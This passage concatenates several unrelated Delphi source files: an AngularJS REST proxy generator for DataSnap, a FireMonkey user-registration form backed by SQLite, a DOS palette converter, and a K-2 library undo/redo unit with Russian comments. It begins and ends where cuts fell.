PtName := Param.TypeName;
if not(PtName.ToLower = 'string') then
Exit(false);
end;
Param := Param.Next;
end;
Exit(True);
end;
Result := false;
end;
function TDSCustomAngularJsProxyWriter.GetFirstClass: TDSProxyClass;
begin
Result := Metadata.Classes;
end;
procedure TDSCustomAngularJsProxyWriter.WriteConnectionInfo;
begin
WriteJSLine('//wrapper for AngularJS factory by Amarildo Lacerda');
WriteJSLine('var AdminInst = null;');
WriteJSLine('var connectionInfo;');
WriteJSLine('');
WriteJSLine('var homePage = window.location.host,');
WriteJSLine('s = homePage.split('':'');');
WriteJSLine
('var connectionInfo = { "host": window.location.protocol+"//"+s[0], "port": s[1], "authentication": null, "pathPrefix": "" }');
WriteJSLine('var datasnapURLPath = ''/datasnap/rest/'';');
WriteJSLine();
WriteJSLine('function setConnection(host, port, urlPath)');
WriteJSLine('{');
WriteJSLine
(' connectionInfo = {"host":host,"port":port,"authentication":null,"pathPrefix":urlPath};');
WriteJSLine('}');
WriteJSLine('');
WriteJSLine('function setCredentials(user, password)');
WriteJSLine('{');
WriteJSLine(' if (AdminInst != null)');
WriteJSLine(' return true; // already logged in');
WriteJSLine
(' connectionInfo.authentication = convertStringToBase64(user + ":" + password);');
WriteJSLine('}');
WriteJSLine('');
WriteJSLine('function angular_result_error(xhr, textStatus, error) {');
WriteJSLine(' if (error != null) {');
WriteJSLine(' alert(textStatus + '' '' + error.message);');
WriteJSLine(' }' + '};');
WriteJSLine(#13#10 + 'function angular_error(result) {');
WriteJSLine(' if (result != null) {');
WriteJSLine
(' alert(''Error: '' + result.error + '' Estatus: '' + result.status);');
WriteJSLine(' }' + '};');
WriteJSLine('');
WriteJSLine('function datasnapSend(callback, $http, options) {');
WriteJSLine(' if (connectionInfo.authentication != null)');
WriteJSLine(' $http.defaults.headers.common[''Authorization''] = ''Basic ''+connectionInfo.authentication;');
WriteJSLine('$http(options).success(function (results) {');
WriteJSLine
(' if (callback != null) { if (results.error == null) { callback(results); } else { angular_error(results); } }');
WriteJSLine('}).error(function (results) {');
WriteJSLine(' angular_error(results);');
WriteJSLine('});};');
WriteJSLine('function datasnapCreateURL(AClass, AMethod, AParams) {');
WriteJSLine(' rst = connectionInfo.host;');
WriteJSLine(' if (connectionInfo.port!=null)');
WriteJSLine(' rst += '':'' + connectionInfo.port;');
WriteJSLine(' rst += datasnapURLPath + AClass + ''/'' + AMethod;');
WriteJSLine(' AParams.forEach(function (v) {');
WriteJSLine(' rst += ''/'' + v;');
WriteJSLine(' })');
WriteJSLine(' return rst;');
WriteJSLine('};');
WriteJSLine(' // cria service para Provider');
WriteJSLine
('angular.module(''services.datasnap'', [ ''DatasnapProvider'']);');
WriteJSLine('');
end;
procedure TDSCustomAngularJsProxyWriter.WriteImplementation;
var
ProxyClassNameList: TDBXStringList;
Item: TDSProxyClass;
nClass: Integer;
begin
ProxyClassNameList := TDBXStringList.Create;
WriteConnectionInfo;
try
Item := FirstClass;
WriteJSLine('');
WriteJSLine('var datasnapRest = angular.module(''DatasnapProvider'', []) ');
WriteJSLine('.factory(''$Datasnap'', function ($http) {' + 'return {');
WriteJSLine('// Inicio');
nClass := 0;
while Item <> nil do
begin
if ExtendedIncludeClass(Item) then
begin
if nClass > 0 then
WriteJSLine(',');
WriteClassImplementation(Item, ProxyClassNameList);
inc(nClass);
end;
Item := Item.Next;
end;
WriteJSLine(' } // fim ');
WriteJSLine('});');
WriteProxyClassList(ProxyClassNameList);
finally
FreeAndNil(ProxyClassNameList);
end;
end;
procedure TDSCustomAngularJsProxyWriter.WriteProxyClassList(
const ProxyClassNameList: TDBXStringList);
var
I: Integer;
Line: string;
begin
WriteJSLine('var JSProxyClassList = {');
Indent;
for I := 0 to ProxyClassNameList.Count - 1 do
begin
Line := string(ProxyClassNameList[I]);
if I < ProxyClassNameList.Count - 1 then
Line := Line + ',';
WriteJSLine(Line);
end;
Outdent;
WriteJSLine('};');
WriteJSLine;
end;
procedure TDSCustomAngularJsProxyWriter.WriteClassImplementation(
const ProxyClass: TDSProxyClass;
const ProxyClassNameList: TDBXStringList);
var
ClassMethodString: TStringBuilder;
Methods: TDSProxyMethod;
FirstMethod: Boolean;
begin
ClassMethodString := TStringBuilder.Create;
try
ClassMethodString.Append('"' + ProxyClass.ProxyClassName + '": [');
WriteJSLine('' + ProxyClass.ProxyClassName + ':');
WriteJSLine('{ ');
Indent;
Methods := ProxyClass.FirstMethod;
FirstMethod := True;
while Methods <> nil do
begin
if ExtendedIncludeMethod(Methods) then
begin
if not FirstMethod then
begin
ClassMethodString.Append(',');
WriteJSLine(', ');
end;
ClassMethodString.Append('"' + Methods.ProxyMethodName + '"');
WriteMethodComment(ProxyClass, Methods);
WriteMethodImplementation(ProxyClass, Methods);
FirstMethod := false;
end;
Methods := Methods.Next;
end;
Outdent;
WriteJSLine('}');
WriteJSLine;
ClassMethodString.Append(']');
ProxyClassNameList.Add(ClassMethodString.ToString);
finally
FreeAndNil(ClassMethodString);
end;
end;
function TDSCustomAngularJsProxyWriter.HasOnlyURLParams(
const Method: TDSProxyMethod): Boolean;
var
Param: TDSProxyParameter;
PtType: Integer;
begin
Param := nil;
if Method <> nil then
Param := Method.Parameters;
while Param <> nil do
begin
if (Param.ParameterDirection = TDBXParameterDirections.InOutParameter) or
(Param.ParameterDirection = TDBXParameterDirections.InParameter) then
begin
PtType := Param.DataType;
if not Contains(SupportedTypes, PtType) or Contains(NonURLTypes, PtType)
then
Exit(false);
end;
Param := Param.Next;
end;
Result := True;
end;
function TDSCustomAngularJsProxyWriter.IsPrimitiveJSONType(ClassName: String)
: Boolean;
begin
Result := (ClassName = 'TJSONTrue') or (ClassName = 'TJSONFalse') or
(ClassName = 'TJSONNull') or (ClassName = 'TJSONString') or
(ClassName = 'TJSONNumber');
end;
procedure TDSCustomAngularJsProxyWriter.SetGenerateURLFunctions(
const Value: Boolean);
begin
FGenerateURLFunctions := Value;
end;
function TDSCustomAngularJsProxyWriter.GetMethodRequestType(
const ProxyClass: TDSProxyClass;
const Method: TDSProxyMethod): string;
var
MName: string;
Aux, Param: TDSProxyParameter;
LastType: Integer;
HadIn: Boolean;
begin
MName := Method.ProxyMethodName;
if MName.StartsWith(FPutPrefix, True) and (MName.Length > FPutPrefix.Length)
then
Exit(Put);
if MName.StartsWith(FPostPrefix, True) and (MName.Length > FPostPrefix.Length)
then
Exit(Post);
if MName.StartsWith(FDeletePrefix) and (MName.Length > FDeletePrefix.Length)
then
Exit(Delete);
if (string.Compare(sDSAdminClassName, ProxyClass.ProxyClassName, True) = 0)
and (Method.ParameterCount > 0) then
begin
HadIn := false;
Param := Method.Parameters;
Aux := Param;
while Aux <> nil do
begin
if (Aux <> nil) and
((Aux.ParameterDirection = TDBXParameterDirections.InParameter) or
(Aux.ParameterDirection = TDBXParameterDirections.InOutParameter)) then
begin
HadIn := True;
Param := Aux;
end;
Aux := Aux.Next;
end;
LastType := Param.DataType;
if HadIn and Contains(NonURLTypes, LastType) then
Exit(Post);
end;
Result := Get;
end;
function TDSCustomAngularJsProxyWriter.GetMethodRequestName(
const ProxyClass: TDSProxyClass;
const Method: TDSProxyMethod): string;
var
MName, MType: string;
PrefixLength: Integer;
begin
MType := GetMethodRequestType(ProxyClass, Method);
MName := Method.ProxyMethodName;
PrefixLength := 0;
if not(string.Compare(sDSAdminClassName, ProxyClass.ProxyClassName, True) = 0)
then
begin
if (Put = MType) then
PrefixLength := FPutPrefix.Length
else if (Post = MType) then
PrefixLength := FPostPrefix.Length
else if (Delete = MType) then
PrefixLength := FDeletePrefix.Length;
if (PrefixLength > 0) and (PrefixLength < MName.Length) then
MName := MName.Substring(PrefixLength, MName.Length - PrefixLength);
end;
Result := MName;
end;
procedure TDSCustomAngularJsProxyWriter.WriteMethodComment(
const ProxyClass: TDSProxyClass;
const ProxyMethod: TDSProxyMethod);
var
Param: TDSProxyParameter;
PName: string;
TypeName: string;
Direction: string;
IsReturn: Boolean;
AtTag: string;
begin
WriteJSLine;
Param := ProxyMethod.Parameters;
if Param <> nil then
begin
WriteJSLine('/*');
while Param <> nil do
begin
PName := Param.ParameterName;
TypeName := Param.TypeName;
Direction := NullString;
IsReturn := false;
if Param.ParameterDirection = TDBXParameterDirections.InOutParameter then
Direction := ' [in/out]'
else if Param.ParameterDirection = TDBXParameterDirections.OutParameter
then
Direction := ' [out]'
else if Param.ParameterDirection = TDBXParameterDirections.InParameter
then
Direction := ' [in]'
else if Param.ParameterDirection = TDBXParameterDirections.ReturnParameter
then
begin
Direction := '';
PName := 'result';
IsReturn := True;
end;
AtTag := C_Conditional(IsReturn, '@return ', '@param ');
WriteJSLine(' * ' + AtTag + PName + Direction + ' - Type on server: ' +
TypeName);
Param := Param.Next;
end;
WriteJSLine(' */');
end;
end;
procedure TDSCustomAngularJsProxyWriter.WriteMethodImplementation(
const ProxyClass: TDSProxyClass;
const ProxyMethod: TDSProxyMethod);
function iff(b: Boolean; t, f: string): string;
begin
if b then
Result := t
else
Result := f;
end;
var
Param: TDSProxyParameter;
ResultObjectLines: TDBXStringList;
InputParamCSV, LineToAdd, MethodName, MethodNameQuoted, Name,
RequestTypeToUse, ReturnVarPrefix: string;
I, OutIndex, PCount: Integer;
HasComplexInput, HasComplexResult, HasReturn: Boolean;
begin
// True if one or more of the out, in/out, or result parameters are a complex type (Table, Stream, Object)
HasComplexResult := false;
// True if one or more in or in/out parameters are complex
HasComplexInput := false;
Param := ProxyMethod.Parameters;
ResultObjectLines := TDBXStringList.Create;
try
InputParamCSV := NullString;
OutIndex := 0;
PCount := 0;
while Param <> nil do
begin
if (Param.DataType = TDBXDataTypes.ObjectType) or
(Param.DataType = TDBXDataTypes.TableType) or
(Param.DataType = TDBXDataTypes.BinaryBlobType) or
(Param.DataType = TDBXDataTypes.BlobType) or
// JsonValueTypes that aren't primitives (Strings, boolean, numbers) are complex parameter types
((Param.DataType = TDBXDataTypes.JsonValueType) and
(not IsPrimitiveJSONType(Param.TypeName))) then
begin
if (Param.ParameterDirection = TDBXParameterDirections.OutParameter) or
(Param.ParameterDirection = TDBXParameterDirections.ReturnParameter)
then
begin
HasComplexResult := True;
end
else if (Param.ParameterDirection = TDBXParameterDirections.
InOutParameter) then
begin
HasComplexResult := True;
HasComplexInput := True;
end
else if (Param.ParameterDirection = TDBXParameterDirections.InParameter)
then
HasComplexInput := True;
end;
LineToAdd := NullString;
if (Param.ParameterDirection = TDBXParameterDirections.InOutParameter) or
(Param.ParameterDirection = TDBXParameterDirections.InParameter) then
begin
InputParamCSV := C_Conditional(InputParamCSV.IsEmpty, '',
InputParamCSV + ', ') + Param.ParameterName;
IncrAfter(PCount);
if Param.ParameterDirection = TDBXParameterDirections.InParameter then
LineToAdd := 'resultObject.' + Param.ParameterName + ' = ' +
Param.ParameterName + ';';
end;
if (Param.ParameterDirection = TDBXParameterDirections.OutParameter) or
(Param.ParameterDirection = TDBXParameterDirections.ReturnParameter) or
(Param.ParameterDirection = TDBXParameterDirections.InOutParameter) then
begin
if Param.ParameterDirection = TDBXParameterDirections.ReturnParameter
then
Name := 'result'
else
Name := Param.ParameterName;
LineToAdd := 'resultObject.' + Name + ' = resultArray[' +
IntToStr(OutIndex) + '];';
IncrAfter(OutIndex);
end;
if not LineToAdd.IsEmpty then
ResultObjectLines.Add(LineToAdd);
Param := Param.Next;
end;
MethodName := GetMethodRequestName(ProxyClass, ProxyMethod);
WriteJSLine( { 'this.' + } ProxyMethod.ProxyMethodName +
' : function( callbackFn ' + iff(InputParamCSV <> '', ', ', '') +
InputParamCSV + ') {');
Indent;
HasReturn := OutIndex > 0;
ReturnVarPrefix := C_Conditional(HasReturn, 'var returnObject = ', '');
// If the function has complex input parameters but the method name isn't prefixed
// with 'update' or 'accept' then force POST to be used, and put quotes around the method name
// so the server knows not to prefix the method name with "update" when looking for the matching server method.
if HasComplexInput and (MethodName = ProxyMethod.ProxyMethodName) then
begin
MethodNameQuoted := '"' + MethodName + '"';
RequestTypeToUse := 'POST';
end
else
begin
MethodNameQuoted := MethodName;
RequestTypeToUse := GetMethodRequestType(ProxyClass, ProxyMethod);
end;
WriteJSLine('datasnapSend(callbackFn, $http, { method: "' + RequestTypeToUse
+ '", cache: false, url: datasnapCreateURL("' + ProxyClass.ProxyClassName
+ '","' + MethodNameQuoted + '",[' + InputParamCSV +
']), params: [ ]});');
Outdent;
WriteJSLine('}');
if FGenerateURLFunctions and IncludeMethodName(ProxyMethod.ProxyMethodName +
'_URL') and HasOnlyURLParams(ProxyMethod) then
begin
WriteJSLine(',');
WriteJSLine( { 'this.' + } ProxyMethod.ProxyMethodName +
'_URL : function(' + InputParamCSV + ') {');
Indent;
WriteJSLine(' return datasnapCreateURL("' + ProxyClass.ProxyClassName +
'","' + MethodNameQuoted + '",[' + InputParamCSV + '])');
Outdent;
WriteJSLine('} //fim URL');
end;
finally
FreeAndNil(ResultObjectLines);
end;
end;
{ TDSJavaScriptProxyWriter }
procedure TDSAngularJsProxyWriter.DerivedWrite(
const Line: string);
begin
if StreamWriter <> nil then
StreamWriter.Write(Line)
else
ProxyWriters[sImplementation].Write(Line);
end;
procedure TDSAngularJsProxyWriter.DerivedWriteLine;
begin
if StreamWriter <> nil then
StreamWriter.WriteLine
else
ProxyWriters[sImplementation].WriteLine;
end;
destructor TDSAngularJsProxyWriter.Destroy;
begin
FreeAndNil(FStreamWriter);
inherited;
end;
function TDSAngularJsProxyWriter.GetFileName(OutputFile: string): string;
var
EndUnitNamePos, StartUnitNamePos: Integer;
begin
Result := OutputFile;
StartUnitNamePos := Result.LastDelimiter(':\/') + 2;
if StartUnitNamePos < 1 then
StartUnitNamePos := 1;
EndUnitNamePos := Result.LastDelimiter('.') + 1;
TargetUnitName := Result.Substring(StartUnitNamePos - 1,
EndUnitNamePos - StartUnitNamePos);
end;
procedure TDSAngularJsProxyWriter.UpdateJSProxyFile(AConnection: TDBXConnection;
const AFileName: string);
var
LStream: TStream;
begin
LStream := TFileStream.Create(GetFileName(AFileName), fmCreate);
try
generateJS(AConnection, LStream);
finally
LStream.Free;
end;
end;
procedure TDSAngularJsProxyWriter.generateJS(AConnection: TDBXConnection;
AStream: TStream);
begin
if (AConnection = nil) then
raise Exception.Create(SJSProxyNoConnection);
if (AStream = nil) then
raise Exception.Create(SJSProxyNoStream);
StreamWriter := nil;
try
StreamWriter := TStreamWriter.Create(AStream, TEncoding.UTF8);
MetaDataLoader := TDSProxyMetaDataLoader.Create(AConnection);
WriteProxy;
finally
FreeAndNil(FStreamWriter);
end;
end;
function TDSClientProxyWriterAngularJs.CreateProxyWriter: TDSCustomProxyWriter;
begin
Result := TDSAngularJsProxyWriter.Create();
TDSAngularJsProxyWriter(Result).GenerateURLFunctions := false;
end;
function TDSClientProxyWriterAngularJs.FileDescriptions
: TDSProxyFileDescriptions;
begin
SetLength(Result, 1);
Result[0].ID := sImplementation; // do not localize
Result[0].DefaultFileExt := '.js';
end;
function TDSClientProxyWriterAngularJs.Properties: TDSProxyWriterProperties;
begin
Result.UsesUnits := 'Datasnap.DSProxyAngularJS';
Result.DefaultExcludeClasses := sDSMetadataClassName; // 'DSMetadata';
Result.DefaultExcludeMethods := sASMethodsPrefix;
Result.Author :=
'Amarildo Lacerda - Created from Embarcadero code Javascript Proxy';
// do not localize
Result.Comment := '';
Result.Language := sDSProxyJavaScriptLanguage;
Result.Features := [feRESTClient];
Result.DefaultEncoding := TEncoding.UTF8;
end;
initialization
TDSProxyWriterFactory.RegisterWriter(sAngularJSRESTProxyWriter,
TDSClientProxyWriterAngularJs);
finalization
TDSProxyWriterFactory.UnregisterWriter(sAngularJSRESTProxyWriter);
end.
|
unit UCreateNewProfile;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, System.Actions,
FMX.ActnList, FMX.Objects, FMX.StdCtrls, FMX.Controls.Presentation, FMX.Edit,
FMX.Layouts, FMX.DateTimeCtrls, FMX.ListBox, FMX.ComboEdit, FireDAC.Stan.Intf,
FireDAC.Stan.Option, FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf,
FireDAC.Stan.Def, FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys,
FireDAC.Phys.SQLite, FireDAC.Phys.SQLiteDef, FireDAC.Stan.ExprFuncs,
FireDAC.FMXUI.Wait, FireDAC.Stan.Param, FireDAC.DatS, FireDAC.DApt.Intf,
FireDAC.DApt, Data.DB, FireDAC.Comp.DataSet, FireDAC.Comp.Client, System.IOUtils;
type
TFormCreateNewProfile = class(TForm)
MainUILoginGrid: TGridPanelLayout;
EdFirstName: TEdit;
EdLastName: TEdit;
MainUILogo: TImage;
MainUIAction: TActionList;
actFinish: TAction;
actBack: TAction;
DateofBirthGridPanel: TGridPanelLayout;
txtDateofBirth: TText;
dateDateofBith: TDateEdit;
GenderGridPanel: TGridPanelLayout;
txtGender: TText;
StyleBook1: TStyleBook;
EdEmail: TEdit;
EdUsername: TEdit;
EdPassword: TEdit;
EdConfirmPassword: TEdit;
comboGender: TComboEdit;
GridPanelLayout1: TGridPanelLayout;
btFinish: TButton;
btBack: TButton;
GridPanelLayout2: TGridPanelLayout;
checkAgreedTerms: TCheckBox;
txtTermsConditions: TText;
aClear: TAction;
txtErrorMessages: TText;
procedure actFinishExecute(Sender: TObject);
procedure aClearExecute(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure checkAgreedTermsChange(Sender: TObject);
procedure actBackExecute(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FormCreateNewProfile: TFormCreateNewProfile;
implementation
{$R *.fmx}
uses UFunctions, UDM;
procedure TFormCreateNewProfile.aClearExecute(Sender: TObject);
begin
EdFirstName.Text := '';
EdLastName.Text := '';
dateDateofBith.Date := Now;
comboGender.ItemIndex := 0;
EdEmail.Text := '';
EdUsername.Text := '';
EdPassword.Text := '';
EdConfirmPassword.Text := '';
checkAgreedTerms.IsChecked := False;
txtErrorMessages.Text := '';
if checkAgreedTerms.IsChecked = True then
btFinish.Enabled := True
else
btFinish.Enabled := False;
EdFirstName.SetFocus;
end;
procedure TFormCreateNewProfile.actBackExecute(Sender: TObject);
begin
Close;
end;
procedure TFormCreateNewProfile.actFinishExecute(Sender: TObject);
function fCheckRequirements:Boolean;
begin
{$REGION 'First Name'}
if EdFirstName.Text = '' then
begin
txtErrorMessages.Text := 'First Name cannot be empty!';
EdFirstName.SetFocus;
Result := False;
end
{$ENDREGION}
{$REGION 'Date of Birth'}
else if dateDateofBith.IsEmpty = True then
begin
txtErrorMessages.Text := 'Date of Birth cannot be empty!';
dateDateofBith.SetFocus;
Result := False;
end
{$ENDREGION}
{$REGION 'Gender'}
else if (comboGender.ItemIndex <> 0) and (comboGender.ItemIndex <> 1) then
begin
txtErrorMessages.Text := 'Gender is empty/not valid!';
comboGender.SetFocus;
Result := False;
end
{$ENDREGION}
{$REGION 'Email'}
else if edEmail.Text = '' then
begin
txtErrorMessages.Text := 'Email cannot be empty!';
EdEmail.SetFocus;
Result := False;
end
else if fCheckRequirementsFromTable('m_users', 'email', 'email', edEmail.Text) = True then
begin
txtErrorMessages.Text := 'This email is already registered!';
EdEmail.SetFocus;
Result := False;
end
{$ENDREGION}
{$REGION 'Username'}
else if EdUsername.Text = '' then
begin
txtErrorMessages.Text := 'Username cannot be empty!';
EdEmail.SetFocus;
Result := False;
end
else if fCheckRequirements('m_users', 'username', 'username', EdUsername.Text) = True then
begin
txtErrorMessages.Text := 'This username is already taken!';
EdUsername.SetFocus;
Result := False;
end
{$ENDREGION}
{$REGION 'Password'}
else if EdPassword.Text = '' then
begin
txtErrorMessages.Text := 'Password cannot be empty!';
EdPassword.SetFocus;
Result := False;
end
else if fCheckPassLength(EdPassword.Text) = False then
begin
txtErrorMessages.Text := 'Password must be at least 8 characters!';
EdPassword.SetFocus;
Result := False;
end
else if EdPassword.Text <> EdConfirmPassword.Text then
begin
txtErrorMessages.Text := 'Confirmation password does''nt match the password!';
EdConfirmPassword.SetFocus;
Result := False;
end
{$ENDREGION}
else
Result := True;
end;
procedure pSaveUsers;
var
vGender: Integer;
qSaveUsers: TFDQuery;
begin
qSaveUsers := TFDQuery.Create(nil);
try
with qSaveUsers do
begin
Connection := DM.DbduitkuConnection;
Close;
SQL.Text := 'INSERT INTO m_users (first_name, last_name, dateofbirth, '+
'gender, email, username, password, create_datetime, is_activated) '+
'VALUES (:first_name, :last_name, :dateofbirth, '+
':gender, :email, :username, :password, :create_datetime, :is_activated)';
Params.ParamByName('first_name').Value := EdFirstName.Text;
Params.ParamByName('last_name').Value := EdLastName.Text;
Params.ParamByName('dateofbirth').Value := DateToStr(dateDateofBith.Date);
Params.ParamByName('gender').Value := comboGender.ItemIndex;
Params.ParamByName('email').Value := EdEmail.Text;
Params.ParamByName('username').Value := EdUsername.Text;
Params.ParamByName('password').Value := fcm_GetStringHashAsString(EdPassword.Text);
Params.ParamByName('create_datetime').Value := DateTimeToStr(Now);
Params.ParamByName('is_activated').Value := 0;
ExecSQL;
end;
finally
qSaveUsers.Free;
end;
end;
begin
if fCheckRequirements = True then
begin
pSaveUsers;
ShowMessage('Your profile has been successfully created. Now you can login with your username and password.');
Close;
end;
end;
procedure TFormCreateNewProfile.checkAgreedTermsChange(Sender: TObject);
begin
if checkAgreedTerms.IsChecked = True then
btFinish.Enabled := True
else
btFinish.Enabled := False;
end;
procedure TFormCreateNewProfile.FormActivate(Sender: TObject);
begin
aClearExecute(Self);
end;
end.
|
{$include lem_directives.inc}
unit LemDosMisc;
interface
uses
GR32,
LemDosStructures;
procedure DosVgaPalette8ToLemmixPalette(DosPal: TDosVGAPalette8;
var LemmixPal: TArrayOfColor32);
implementation
procedure DosVgaPalette8ToLemmixPalette(DosPal: TDosVGAPalette8;
var LemmixPal: TArrayOfColor32);
// 6 --> 8 bit color conversions
var
i: Integer;
E: PColor32Entry;
D: PDosVgaColorRec;
begin
SetLength(LemmixPal, 8);
for i := 0 to 7 do
begin
E := @LemmixPal[i];
D := @DosPal[i];
with TColor32Entry(LemmixPal[i]) do
begin
E^.A := 0;
E^.R := (Integer(D^.R) * 255) div 63;
E^.G := (Integer(D^.G) * 255) div 63;
E^.B := (Integer(D^.B) * 255) div 63;
end;
end;
end;
end.
|
unit k2PropertyOperation;
{ Библиотека "K-2" }
{ Автор: Люлин А.В. © }
{ Модуль: k2PropertyOperation - }
{ Начат: 18.10.2005 14:04 }
{ $Id: k2PropertyOperation.pas,v 1.15 2014/04/21 15:41:54 lulin Exp $ }
// $Log: k2PropertyOperation.pas,v $
// Revision 1.15 2014/04/21 15:41:54 lulin
// - переходим от интерфейсов к объектам.
//
// Revision 1.14 2014/03/26 15:52:00 lulin
// - переходим от интерфейсов к объектам.
//
// Revision 1.13 2014/03/21 17:15:17 lulin
// - перетряхиваем работу с тегами.
//
// Revision 1.12 2014/03/21 12:39:25 lulin
// - перетряхиваем работу с тегами.
//
// Revision 1.11 2014/03/19 18:11:11 lulin
// - перетряхиваем работу с тегами.
//
// Revision 1.10 2014/03/18 10:26:38 lulin
// - перетряхиваем работу с тегами.
//
// Revision 1.9 2014/03/17 16:12:12 lulin
// - перетряхиваем работу с тегами.
//
// Revision 1.8 2013/11/05 13:43:14 lulin
// - чистим код.
//
// Revision 1.7 2013/11/05 13:31:19 lulin
// - атомарные теги теперь реализуются специальным классом реализации для каждого типа тега.
//
// Revision 1.6 2012/07/12 18:33:21 lulin
// {RequestLink:237994598}
//
// Revision 1.5 2009/07/23 13:42:34 lulin
// - переносим процессор операций туда куда надо.
//
// Revision 1.4 2009/07/22 17:16:40 lulin
// - оптимизируем использование счётчика ссылок и преобразование к интерфейсам при установке атрибутов тегов.
//
// Revision 1.3 2009/07/06 13:32:12 lulin
// - возвращаемся от интерфейсов к объектам.
//
// Revision 1.2 2005/10/18 10:48:29 lulin
// - реализация базовой Undo-записи удаления/добавления тегов, перенесена в правильное место.
//
// Revision 1.1 2005/10/18 10:32:51 lulin
// - реализация базовой Undo-записи, изменения свойств тегов, перенесена в правильное место.
//
{$Include k2Define.inc }
interface
uses
l3Types,
l3Variant,
k2Interfaces,
k2Op,
k2AtomOperation
;
type
Tk2PropOperation = class(Tk2AtomOperation)
protected
// internal methods
function GetPtr(Old: Boolean): Pl3Variant;
virtual;
{-}
function GetP(Old: Boolean): Tl3Variant;
{-}
procedure SetP(Old: Boolean; Value: Tl3Variant);
{-}
procedure DoUndo(const Container: Ik2Op);
override;
{-отменить операцию}
procedure DoRedo(const Container: Ik2Op);
override;
{-повторить операцию}
protected
// property methods
procedure SetValue(Old: Boolean; Value: Tl3Variant);
{-}
public
// public methods
class procedure ToUndo(const anOpPack : Ik2Op;
anAtom : Tl3Variant;
const aProp : Tk2CustomPropertyPrim;
Old, New : Tl3Variant);
reintroduce;
{-}
function SetParam(anAtom : Tl3Variant;
const aProp : Tk2CustomPropertyPrim;
Old, New: Tl3Variant): Tk2PropOperation;
reintroduce;
{-}
procedure Clear;
override;
{-}
end;//Tk2PropOperation
Ok2AddProp = class(Tk2PropOperation)
private
// property fields
f_New : Tl3Variant;
protected
// internal methods
function GetPtr(Old: Boolean): Pl3Variant;
override;
{-}
end;//Ok2AddProp
Ok2DelProp = class(Tk2PropOperation)
private
// property fields
f_Old : Tl3Variant;
protected
// internal methods
function GetPtr(Old: Boolean): Pl3Variant;
override;
{-}
public
// public methods
(* function SetLongParam(const anAtom : _Ik2Tag;
const aProp : Tk2CustomPropertyPrim;
Old : Long): Tk2PropOperation;
{-}*)
end;//Ok2DelProp
Ok2ModifyProp = class(Tk2PropOperation)
private
// property fields
f_Old : Tl3Variant;
f_New : Tl3Variant;
protected
// internal methods
function GetPtr(Old: Boolean): Pl3Variant;
override;
{-}
function DoJoin(anOperation: Tk2Op): Tk2Op;
override;
{-соединяет две операции и возвращает:
nil - соединение неудачно
Self - соединение удачно и все поместилось в старую запись
New - распределена новая операция }
function CanJoinWith(anOperation: Tk2Op): Boolean;
override;
{-}
(* public
// public methods
function SetLongParam(const anAtom : _Ik2Tag;
const aProp : Tk2CustomPropertyPrim;
Old, New : Long): Tk2PropOperation;
{-}*)
end;//Ok2ModifyProp
implementation
uses
SysUtils,
l3Base,
k2Base,
k2BaseStruct,
k2NullTagImpl
;
// start class Tk2PropOperation
class procedure Tk2PropOperation.ToUndo(const anOpPack : Ik2Op;
anAtom : Tl3Variant;
const aProp : Tk2CustomPropertyPrim;
Old, New : Tl3Variant);
{-}
var
l_Op : Tk2PropOperation;
begin
if (anOpPack <> nil) then
begin
l_Op := Create.SetParam(anAtom, aProp, Old, New);
try
l_Op.Put(anOpPack);
finally
l3Free(l_Op);
end;//try..finally
end;//anOpPack <> nil
end;
procedure Tk2PropOperation.Clear;
{override;}
{-}
begin
if (f_Prop <> nil) then
begin
SetP(true, nil);
SetP(false, nil);
end;{f_Prop <> nil}
inherited Clear;
end;
function Tk2PropOperation.SetParam(anAtom : Tl3Variant;
const aProp : Tk2CustomPropertyPrim;
Old, New : Tl3Variant): Tk2PropOperation;
{-}
begin
inherited SetParam(anAtom, aProp);
if (f_Prop <> nil) then
begin
SetValue(true, Old);
SetValue(false, New);
end;{f_Prop <> nil}
Result := Self;
end;
function Tk2PropOperation.GetPtr(Old: Boolean): Pl3Variant;
//virtual;
{-}
begin
Result := nil;
end;
function Tk2PropOperation.GetP(Old: Boolean): Tl3Variant;
{virtual;}
{-}
var
l_Ptr : Pl3Variant;
begin
if (f_Prop = nil) then
Result := Tk2NullTagImpl.Instance
else
begin
l_Ptr := GetPtr(Old);
if (l_Ptr = nil) OR (l_Ptr^ = nil) then
Result := Tk2NullTagImpl.Instance
else
Result := l_Ptr^;
end;//f_Prop = nil
end;
procedure Tk2PropOperation.SetP(Old: Boolean; Value: Tl3Variant);
{virtual;}
{-}
var
l_Ptr : Pl3Variant;
begin
l_Ptr := GetPtr(Old);
if (l_Ptr <> nil) then
Value.SetRef(l_Ptr^);
end;
procedure Tk2PropOperation.DoUndo(const Container: Ik2Op);
{override;}
{-отменить операцию}
begin
Atom.AttrW[f_Prop.TagIndex, Container] := GetP(true);
end;
procedure Tk2PropOperation.DoRedo(const Container: Ik2Op);
{override;}
{-повторить операцию}
begin
Atom.AttrW[f_Prop.TagIndex, Container] := GetP(false);
end;
procedure Tk2PropOperation.SetValue(Old: Boolean; Value: Tl3Variant);
{-}
begin
if (Self <> nil) then
SetP(Old, Value);
end;
// start class Ok2AddProp
function Ok2AddProp.GetPtr(Old: Boolean): Pl3Variant;
{override;}
{-}
begin
if Old then
Result := inherited GetPtr(Old)
else
Result := @f_New;
end;
// start class Ok2DelProp
function Ok2DelProp.GetPtr(Old: Boolean): Pl3Variant;
{override;}
{-}
begin
if Old then
Result := @f_Old
else
Result := inherited GetPtr(Old);
end;
// start class Ok2ModifyProp
function Ok2ModifyProp.GetPtr(Old: Boolean): Pl3Variant;
{override;}
{-}
begin
if Old then
Result := @f_Old
else
Result := @f_New;
end;
function Ok2ModifyProp.DoJoin(anOperation: Tk2Op): Tk2Op;
//override;
{-соединяет две операции и возвращает:
nil - соединение неудачно
Self - соединение удачно и все поместилось в старую запись
New - распределена новая операция }
begin
Result := nil;
// if (anOperation Is Ok2ModifyProp) then
end;
function Ok2ModifyProp.CanJoinWith(anOperation: Tk2Op): Boolean;
//override;
{-}
begin
Result := (anOperation Is Ok2ModifyProp);
end;
end.
|
{$REGION 'Copyright (C) CMC Development Team'}
{ **************************************************************************
Copyright (C) 2015 CMC Development Team
CMC is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
CMC is distributed in the hope that it will be useful,
